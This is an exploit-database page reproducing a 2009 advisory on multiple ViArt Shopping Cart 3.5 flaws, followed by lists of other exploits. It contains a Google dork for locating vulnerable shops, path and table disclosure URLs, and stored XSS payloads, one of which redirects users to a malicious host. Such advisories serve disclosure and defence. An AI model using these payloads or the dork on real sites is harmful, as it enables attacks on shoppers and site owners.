Menu

Search for hundreds of thousands of exploits

"Viart shopping cart 3.5 - Multiple Vulnerabilities"

Author

Exploit author

"Xia Shing Zee"

Platform

Exploit platform

php

Release date

Exploit published date

2009-01-01

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
===============================================================
!vuln
ViArt Shopping Cart v3.5 is prone to multiple remote 
vulnerabilities. Earlier versions may also be affected.
===============================================================

===============================================================
!dork
Dork: intext:"Free Ecommerce Shopping Cart Software by ViArt" +"Your shopping cart is empty!" + "Products  Search" +"Advanced Search" + "All Categories"
===============================================================

===============================================================
!risk 1 - Full Path Disclosure
Low
Attackers can use this vulnerability to leverage another attack
after the full path has been disclosed.
===============================================================

===============================================================
!discussion 1 - Full Path Disclosure
The server will give an error when any URL real/imaginary is 
passed to the POST_DATA parameter:
http://www.victim.com/manuals_search.php?POST_DATA=http://site-that-does-not-exist.com

A remote user is able to identify the full path of the document
root folder.
===============================================================

===============================================================
!risk 2 - Information Disclosure
Medium
The table names can be further leveraged for a SQL injection if
one exists.
===============================================================

===============================================================
!discussion 2 - Information Disclosure
When a user is not signed in, the tables are shown to the 
attacker via an error, because the PHP form fails to properly
sanitize user_id since the user is not logged in.

The attacker must first try to add a product to the cart and 
then save the shopping cart for the tables to be revealed by 
browsing to: http://www.victim.com/cart_save.php
===============================================================

===============================================================
!risk 3 - Arbitrary Code Injection
High
Attackers can use this vulnerability to execute arbitrary code
on a legitimate user.
===============================================================

===============================================================
!discussion 3 - Arbitrary Code Injection
The attacker is able to create shopping carts with 
HTML/Javascript injected code such as:
http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><a href="http://www.google.com">Google</a></html>
http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><script>alert("VULN");</script></html>
http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><script>window.location="http://malicious-site.com";</script></html>

Then when the user visits "My Saved Carts" at 
http://victim.com/user_carts.php the code is executed:
Example 1 would give a link to the Google search engine.
Example 2 would give a javascript alert popup displaying "VULN".
Example 3 would send the user to a malicious site.

Note: manuals_search.php is also vulnerable to the same 
HTML/Javascript vulnerability that allows for arbitrary code to
be executed:
http://www.victim.com/manuals_search.php?manuals_search=<html><script>window.location="http://malicious-site.com";</script></html>

A remote user is able to identify the full path of the document
root folder.
===============================================================

===============================================================
!extras
The Cart name is all that needs to be guessed/brute-forced for 
an attacker to gain entry to the shopping cart. As the cart-id 
increments from 1 upwards. This does not require any user-login
from the attacker.

An attacker could also overload the server with a ton of 
shopping carts by constantly refreshing cart_save.php to create
multiple shopping cart ID's.
===============================================================

===============================================================
!solution
ViArt Shopping Cart can still be used, but be wary of the full 
path disclosure and make sure no SQL injections can take place
once an attacker knows the table names. Alert users that they 
should be wary of which links they click on as an attacker 
could redirect them to a malicious site. The overloading of 
cart_save.php can be solved by placing IP-bans on attackers.
There is no solution to the brute-force guessing of cart names.
The vendor has not yet been notified.
===============================================================

===============================================================
!greetz
Greetz go out to the people who know me.
===============================================================

===============================================================
!author
Xia Shing Zee
===============================================================

# milw0rm.com [2009-01-01]
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2009-08-25 "HyperVM - File Permissions Credential Disclosure" local multiple "Xia Shing Zee"
2009-04-20 "RedHat Stronghold Web Server 2.3 - Cross-Site Scripting" remote linux "Xia Shing Zee"
2009-01-01 "Viart shopping cart 3.5 - Multiple Vulnerabilities" webapps php "Xia Shing Zee"
2008-12-29 "ViArt Shop 3.5 - 'manuals_search.php?manuals_search' Cross-Site Scripting" webapps php "Xia Shing Zee"
2008-11-09 "MoinMoin 1.5.8/1.9 - Cross-Site Scripting / Information Disclosure" webapps java "Xia Shing Zee" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected